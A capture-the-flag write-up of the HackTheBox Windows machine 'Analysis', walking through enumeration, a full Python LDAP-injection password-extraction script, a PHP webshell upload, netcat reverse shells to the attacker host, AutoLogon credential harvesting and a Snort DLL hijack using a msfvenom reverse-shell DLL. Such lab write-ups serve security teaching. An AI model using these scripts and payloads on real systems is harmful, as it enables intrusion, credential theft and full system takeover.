Analysis – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Hard
  • Platform: HackTheBox

‘Analysis’ Avatar


Summary Link to heading

We are able to find subdomains for the domain analysis.htb and multiple directories with tools like Gobuster and ffuf. Bruteforcing vulnerable parameters in one of these directories, we find that one is vulnerable to LDAP Injections. Through this vulnerability we find a user and a password that works for an admin panel. Inside this administration panel, we are allowed to upload a PHP webshell and enter in the machine. Using WinPEAS we are able to find credentials for another existant user inside the machine and pivot to this new user. Once logged in as this new user, we see that we can modify .dll files for SNORT service running; allowing us to perform a DLL Hijacking and elevate our privileges.


User Link to heading

Nmap scan shows multiple ports open: 53 Domain Name System (DNS), 80 HTTP, 88 Kerberos, 445 Server Message Block (SMB), 135 Microsoft RPC, 3268 Lightweight Directory Access Protocol (LDAP), 3306 MySQL, and 5985 Windows Remote Management (WinRM); among others

❯ sudo nmap -sVC -p53,80,88,135,139,445,464,593,3268,3269,3306,5985,9389,33060,47001,49664,49665,49666,49667,49671,49674,49675,49676,49677,49682,49794 10.10.11.250 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 17:39 -04
Nmap scan report for 10.10.11.250
Host is up (0.21s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-05-18 21:39:35Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3306/tcp  open  mysql         MySQL (unauthorized)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, NotesRPC, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|     HY000
|   oracle-tns:
|     Invalid message-frame."
|_    HY000
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
49794/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-05-18T21:40:34
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.08 seconds

Attempting a Domain Zone Transfer Attack does not work:

❯ dig axfr analysis.htb @10.10.11.250

; <<>> DiG 9.19.21-1-Debian <<>> axfr analysis.htb @10.10.11.250
;; global options: +cmd
; Transfer failed.

and the site at http://10.10.11.250 does not show anything with cURL:

❯ curl -s http://10.10.11.250

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Not Found</h2>
<hr><p>HTTP Error 404. The requested resource is not found.</p>
</BODY></HTML>

Now, scanning port 445 SMB with NetExec (the successor of CrackMapExec) shows the domain analysis.htb:

❯ netexec smb 10.10.11.250

SMB         10.10.11.250    445    DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)

So I add this target and domain to my /etc/hosts file:

❯ echo '10.10.11.250 analysis.htb' | sudo tee -a /etc/hosts

10.10.11.250 analysis.htb

Next, I will start searching for subdomains with ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://analysis.htb/ -H 'Host: FUZZ.analysis.htb'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://analysis.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.analysis.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

internal                [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 155ms]
:: Progress: [19966/19966] :: Job [1/1] :: 124 req/sec :: Duration: [0:02:38] :: Errors: 0 ::

and find one domain: internal.analysis.htb So I add internal.analysis.htb to my /etc/hosts file, so now this file looks like:

❯ cat /etc/hosts | tail -n 1

10.10.11.250 analysis.htb internal.analysis.htb

Trying to visit this new domain, http://internal.analysis.htb, now returns 403 Fordidden:

Analysis 1

I then decide to find directories with a Brute Force Directory Listing with Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb -t 55

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.analysis.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/users                (Status: 301) [Size: 170] [--> http://internal.analysis.htb/users/]
/dashboard            (Status: 301) [Size: 174] [--> http://internal.analysis.htb/dashboard/]
/Users                (Status: 301) [Size: 170] [--> http://internal.analysis.htb/Users/]
/employees            (Status: 301) [Size: 174] [--> http://internal.analysis.htb/employees/]
/Dashboard            (Status: 301) [Size: 174] [--> http://internal.analysis.htb/Dashboard/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

Then I decide to search for files in these three directories. Eventually I find some PHP files at /users directory:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/users/ -t 55 -x php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.analysis.htb/users/
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/list.php             (Status: 200) [Size: 17]
/List.php             (Status: 200) [Size: 17]

where we find a file /users/list.php For /dashboard we have:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/dashboard/ -t 55 -x php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.analysis.htb/dashboard/
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/img/]
/index.php            (Status: 200) [Size: 38]
/uploads              (Status: 301) [Size: 182] [--> http://internal.analysis.htb/dashboard/uploads/]
/upload.php           (Status: 200) [Size: 0]
/details.php          (Status: 200) [Size: 35]
/css                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/css/]
/Index.php            (Status: 200) [Size: 38]
/lib                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/lib/]
/form.php             (Status: 200) [Size: 35]
/js                   (Status: 301) [Size: 177] [--> http://internal.analysis.htb/dashboard/js/]
/logout.php           (Status: 302) [Size: 3] [--> ../employees/login.php]
/tickets.php          (Status: 200) [Size: 35]
/emergency.php        (Status: 200) [Size: 35]
/IMG                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/IMG/]
/INDEX.php            (Status: 200) [Size: 38]
/Details.php          (Status: 200) [Size: 35]
/Form.php             (Status: 200) [Size: 35]
/CSS                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/CSS/]
/Img                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/Img/]
/JS                   (Status: 301) [Size: 177] [--> http://internal.analysis.htb/dashboard/JS/]
/Upload.php           (Status: 200) [Size: 0]
/Uploads              (Status: 301) [Size: 182] [--> http://internal.analysis.htb/dashboard/Uploads/]
/Logout.php           (Status: 302) [Size: 3] [--> ../employees/login.php]
/Lib                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/Lib/]
/Tickets.php          (Status: 200) [Size: 35]
/Emergency.php        (Status: 200) [Size: 35]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================

And we also find a login.php at /employees directory:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/employees/ -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.analysis.htb/employees/
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php            (Status: 200) [Size: 1085]
/Login.php            (Status: 200) [Size: 1085]

The site http://internal.analysis.htb/employees/login.php shows a login page:

Analysis 2

but since we don’t have users (at least at the moment), I will save this login panel for later.

Checking the site site/file /users/list.php with cURL shows that this file accepts parameters:

❯ curl -s http://internal.analysis.htb/users/list.php

missing parameter

However, there are no hints about what is the parameter missing. So we can try to obtain it bruteforcing it.

I will use ffuf and search for different/potential parameters:

❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://internal.analysis.htb/users/list.php?FUZZ' -fs 17

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://internal.analysis.htb/users/list.php?FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 17
________________________________________________

name                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9807ms]
:: Progress: [6453/6453] :: Job [1/1] :: 250 req/sec :: Duration: [0:00:26] :: Errors: 0 ::

where we have found the parameter name. So we have the file with the parameter http://internal.analysis.htb/users/list.php?name. Visiting this site in an internet browser like Firefox shows:

Analysis_3.png

I remember that LDAP service was running on this machine. Looking for LDAP Injections at HackTricks we could try with something like name=* to see if it returns something. If I visit http://internal.analysis.htb/users/list.php?name=* to attempt an injection I can see something: Analysis_4.png

where we have a potential user: technician

So far we have the following:

  1. A potential user
  2. An injectable point with LDAP

So, following steps from HackTricks we can try to inject characters to obtain a password through a Python script. Basically, it checks that the word technician is present in the web request when we start to inject characters to name parameter; if it is present we are going in a good way, if it is not, it is discarded. In this script I have also added a function to check that the password extracted is correct, since some symbols such as &, * or / might cause false negatives/positives even if we urlencode them. For this script we need the library PwnTools. We can install running in our system:

$ sudo apt-get update
$ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools

Once installed we can run the following script to extract the password:

#!/usr/bin/python3

import argparse
import requests
import signal
import sys
import string
from pwn import log


# Ctrl+C
def ctrl_c(sig, frame)->None:
    print(f"[!] Ctrl+C. Exiting...")
    sys.exit(1)


signal.signal(signal.SIGINT, ctrl_c)


def parse_arguments()->argparse.Namespace:
    # Create the parser
    parser = argparse.ArgumentParser(description="A simple script for LDAP injection.")
    # Add arguments
    parser.add_argument('-u', '--url', type=str, help='URL to attempt LDAP injection (incluiding the injectable parameter). Example: http://internal.analysis.htb/users/list.php?name', required=True)
    return parser.parse_args()


def request_to_site(url: str, current_password: str, all_characters: list[str], p)->str:
    # Start a loop through different characters to bruteforce the password
    index = 0
    while index < len(all_characters):
        char = all_characters[index]
        p.status(f"Attempting with char {char!r} (password found, at the moment, {current_password!r})")
        req_url = url + f'=*)(%26(objectClass=user)(description={current_password}{char}*)'
        r = requests.get(req_url)
        # Check the condition that satisfies the injection
        if r.status_code == 200 and 'technician' in r.text:
            current_password += char
            # Restart the list
            index = 0
        else:
            index += 1
    return current_password


def check_password_found(url: str, current_password: str, symbols_list: list[str], all_chars: list[str])->(str, bool):
    # Check that the password is not a false positive
    p2 = log.progress(f"Checking if password ({current_password!r}) has symbols")
    for symbol in symbols_list:
        temp_password: str = current_password + symbol
        for char in all_chars:
            p2.status(f"Checking with symbol {symbol!r} and character {char!r}")
            req_url = url + f'=*)(%26(objectClass=user)(description={temp_password}{char}*)'
            r = requests.get(req_url)
            if r.status_code == 200 and 'technician' in r.text:
                p2.failure(f"Password had more symbols ({symbol!r}, so current password is {current_password+symbol!r})")
                return current_password+symbol, False
    p2.success("Password checked. All correct.")
    return current_password, True


def ldap_injection(url: str)->None:
    # LDAP injection
    print(f"[+] Attempting LDAP Injection to url {url!r}...")
    p = log.progress('LDAP Injection')
    password: str = ''
    all_characters: list[str] = list(string.digits) + list(string.ascii_letters) + [c for c in list(string.punctuation) if c != ')'] # char ')' bugs the data 
    symbols_characters: list[str] = list(string.punctuation)
    foundPassword: bool = False
    # Exit the loop until we have checked that the extracted password is not a false positive
    while not foundPassword:
        # Get the password through injection
        password = request_to_site(url, password, all_characters, p)
        # Check if the password found is not a false positive 
        password, foundPassword = check_password_found(url, password, symbols_characters, all_characters)
    p.status(f"Password found: {password}")
    

def main()->None:
    # Get argument from users
    args = parse_arguments()
    # LDAP injection
    ldap_injection(args.url)


if __name__ == "__main__":
    main()

Running this script we find a password:

❯ python3 exploit_ldap.py --url 'http://internal.analysis.htb/users/list.php?name'

[+] Attempting LDAP Injection to url 'http://internal.analysis.htb/users/list.php?name'...
[....../.] LDAP Injection: Temporal password is: 97NTtl*4QP96Bv
[-] Checking if password has symbols: Password had more symbols ('*', so current password is '97NTtl*')
[+] Checking if password has symbols: Password checked. All correct.

so we might have a user and a password: technician:97NTtl*4QP96Bv

We can check that this password works via SMB with NetExec:

❯ netexec smb 10.10.11.250 -u 'technician' -p '97NTtl*4QP96Bv' --shares

SMB         10.10.11.250    445    DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.250    445    DC-ANALYSIS      [+] analysis.htb\technician:97NTtl*4QP96Bv
SMB         10.10.11.250    445    DC-ANALYSIS      [*] Enumerated shares
SMB         10.10.11.250    445    DC-ANALYSIS      Share           Permissions     Remark
SMB         10.10.11.250    445    DC-ANALYSIS      -----           -----------     ------
SMB         10.10.11.250    445    DC-ANALYSIS      ADMIN$                          Administration à distance
SMB         10.10.11.250    445    DC-ANALYSIS      C$                              Partage par défaut
SMB         10.10.11.250    445    DC-ANALYSIS      IPC$            READ            IPC distant
SMB         10.10.11.250    445    DC-ANALYSIS      NETLOGON        READ            Partage de serveur d'accès
SMB         10.10.11.250    445    DC-ANALYSIS      SYSVOL          READ            Partage de serveur d'accès

but I don’t see interesting shares

After attempting some things, I remember the login panel at http://internal.analysis.htb/employees/login.php. We can try to put these credentials there. They work if we log in as technician@analysis.htb

Analysis_5.png

and we are inside the panel:

Analysis 6

Visiting/clicking SOC Report at the left side I can see that I can upload images. So I upload a simple PHP shell (since, as we have seen, the site works with .php files). I will upload a WWWolf PHP Shell since we are against a Windows system.

I remember that /dashboard directory had an /uploads directory. My file was called shell.php. Then, I visit http://internal.analysis.htb/dashboard/uploads/shell.php and my shell is there:

Analysis 7

but I prefer a fully interactive shell. So I start a temporal Python HTTP server on port 8080 in my machine:

❯ ls && python3 -m http.server 8080

exploit_ldap.py  nc64.exe  shell.php
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

and download a netcat binary for Windows, running in the target machine the built-in tool certutil:

Analysis 8

After downloading it, I start a netcat listener on port 443 and send me a reverse shell running:

Analysis 9

and I get a shell as svc_web:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.250] 51300
Microsoft Windows [version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. Tous droits rservs.

C:\inetpub\internal\dashboard\uploads> whoami
 whoami
analysis\svc_web

I upload WinPEAS to the machine, similar as I did for the netcat binary, and get something interesting:

C:\Users\Public\Downloads>.\winpeas.exe

.\winpeas.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD

<SNIP>

Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  analysis.htb.
    DefaultUserName               :  jdoe
    DefaultPassword               :  7y4Z4^*y9Zzj
<SNIP>

so we have a user and a password: jdoe:7y4Z4^*y9Zzj

And also checking this user shows:

C:\Users\Public\Downloads>net user jdoe

net user jdoe
Nom d'utilisateur                              jdoe
Nom complet                                    john doe
Commentaire
Commentaires utilisateur
Code du pays ou de la rgion                   000 (Valeur par dfaut du systme)
Compte: actif                                 Oui
Le compte expire                               Jamais

Mot de passe: dernier changmt.                04/01/2024 11:37:29
Le mot de passe expire                         Jamais
Le mot de passe modifiable                     05/01/2024 11:37:29
Mot de passe exig                             Oui
L'utilisateur peut changer de mot de passe     Oui

Stations autorises                            Tout
Script d'ouverture de session
Profil d'utilisateur
Rpertoire de base
Dernier accs                                  19/05/2024 01:43:25

Heures d'accs autoris                        Tout

Appartient aux groupes locaux                  *Utilisateurs de gesti
Appartient aux groupes globaux                 *Utilisateurs du domai
La commande s'est termine correctement.

I decide to check with NetExec if we have access to the machine with these credentials and we do:

❯ netexec winrm 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'

WINRM       10.10.11.250    5985   DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 (name:DC-ANALYSIS) (domain:analysis.htb)
WINRM       10.10.11.250    5985   DC-ANALYSIS      [+] analysis.htb\jdoe:7y4Z4^*y9Zzj (Pwn3d!)

and connect with evil-winrm:

❯ evil-winrm -i 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents>

where we can finally get the user flag at C:\Users\jdoe\Desktop

NT Authority/System - Administrator Link to heading

From WinPEAS, but now re-uploading it and running it as jdoe user I can see something from the output:

*Evil-WinRM* PS C:\Users\jdoe\Documents> wget http://10.10.16.15:8080/winpeas.exe -Outfile C:\Users\jdoe\Documents\winpeas.exe

*Evil-WinRM* PS C:\Users\jdoe\Documents> C:\Users\jdoe\Documents\winpeas.exe

<SNIP>
Snort(Snort)[C:\Snort\bin\snort.exe /SERVICE] - Autoload - No quotes and Space detected
    Possible DLL Hijacking in binary folder: C:\Snort\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])

<SNIP>

Searching What is Snort on Google I get:

Info
SNORT is a powerful open-source intrusion detection system (IDS) and intrusion prevention system (IPS) that provides real-time network traffic analysis and data packet logging. SNORT uses a rule-based language that combines anomaly, protocol, and signature inspection methods to detect potentially malicious activity

So attacking SNORT could be a potential way to get privileges

Checking the permissions with icacls show that we might be able to write on these files:

*Evil-WinRM* PS C:\Users\jdoe\Documents> icacls C:\Snort\lib\snort_dynamicengine

C:\Snort\lib\snort_dynamicengine AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
                                 BUILTIN\Administrateurs:(I)(OI)(CI)(F)
                                 BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
                                 BUILTIN\Utilisateurs:(I)(CI)(AD)
                                 BUILTIN\Utilisateurs:(I)(CI)(WD)
                                 CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Users\jdoe\Documents> icacls C:\Snort\lib\snort_dynamicpreprocessor

C:\Snort\lib\snort_dynamicpreprocessor AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
                                       BUILTIN\Administrateurs:(I)(OI)(CI)(F)
                                       BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
                                       BUILTIN\Utilisateurs:(I)(CI)(AD)
                                       BUILTIN\Utilisateurs:(I)(CI)(WD)
                                       CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

I note that within these files we have a .dll file, so we might try a DLL hijacking:

*Evil-WinRM* PS C:\Users\jdoe\Documents> cmd.exe /c dir C:\Snort\lib\snort_dynamicengine
 Volume in drive C has no label.
 Volume Serial Number is 0071-E237

 Directory of C:\Snort\lib\snort_dynamicengine

07/08/2023  03:31 PM    <DIR>          .
07/08/2023  03:31 PM    <DIR>          ..
05/24/2022  06:48 AM            78,336 sf_engine.dll
               1 File(s)         78,336 bytes
               2 Dir(s)   4,018,229,248 bytes free

For this I create a .dll file with msfvenom:

❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.15 LPORT=443 -a x64 -f dll -o snort_dynamicpreprocessor.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: snort_dynamicpreprocessor.dll

pass it to the machine with the help of evil-winrm:

*Evil-WinRM* PS C:\Users\jdoe\Documents> upload snort_dynamicpreprocessor.dll

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Analysis/exploits/snort_dynamicpreprocessor.dll to C:\Users\jdoe\Documents\snort_dynamicpreprocessor.dll

Data: 12288 bytes of 12288 bytes copied

Info: Upload successful!

I will create a copy of the original files and, then, replace them with the malicious .dll file:

*Evil-WinRM* PS C:\Users\jdoe\Documents> dir C:\Snort\lib


    Directory: C:\Snort\lib


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         7/8/2023   3:31 PM                snort_dynamicengine
d-----         7/8/2023   3:31 PM                snort_dynamicpreprocessor


*Evil-WinRM* PS C:\Users\jdoe\Documents> copy C:\Snort\lib\snort_dynamicpreprocessor .\snort_dynamic_backup

*Evil-WinRM* PS C:\Users\jdoe\Documents> dir


    Directory: C:\Users\jdoe\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/23/2023   9:15 AM                BCDB
d-----        5/19/2024   5:29 AM                snort_dynamic_backup
-a----        5/19/2024   5:28 AM           9216 snort_dynamicpreprocessor.dll
-a----        5/19/2024   5:09 AM        2387456 winpeas.exe


*Evil-WinRM* PS C:\Users\jdoe\Documents> copy snort_dynamicpreprocessor.dll C:\Snort\lib\snort_dynamicpreprocessor

Finally, start the service. I note that there is a snort.exe file at C:\Snort\bin directory. Before doing this I start a listener with netcat on port 443:

*Evil-WinRM* PS C:\Users\jdoe\Documents> cd C:\Snort\bin

*Evil-WinRM* PS C:\Snort\bin> dir


    Directory: C:\Snort\bin


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/20/2022   4:15 PM          54784 npptools.dll
-a----        4/20/2022   4:15 PM         274489 ntwdblib.dll
-a----        4/20/2022   4:15 PM          36948 Packet.dll
-a----        4/20/2022   4:15 PM          94208 pcre.dll
-a----        5/24/2022   6:51 AM        1559552 snort.exe
-a----        4/20/2022   4:15 PM          53326 WanPacket.dll
-a----        4/20/2022   4:15 PM         208974 wpcap.dll
-a----        4/20/2022   4:15 PM          73728 zlib1.dll


*Evil-WinRM* PS C:\Snort\bin> .\snort.exe -V
snort.exe :
    + CategoryInfo          : NotSpecified: (:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
   ,,_     -*> Snort! <*-  o"  )~   Version 2.9.20-WIN64 GRE (Build 82)    ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team           Copyright (C) 2014-2022 Cisco and/or its affiliates. All rights reserved.           Copyright (C) 1998-2013 Sourcefire, Inc., et al.           Using PCRE version: 8.10 2010-06-25           Using ZLIB version: 1.2.11

And after some seconds I get a shell as Administrator user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.250] 51511
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
analysis\administrateur

where we can get the flag at C:\Users\Administrateur\Desktop\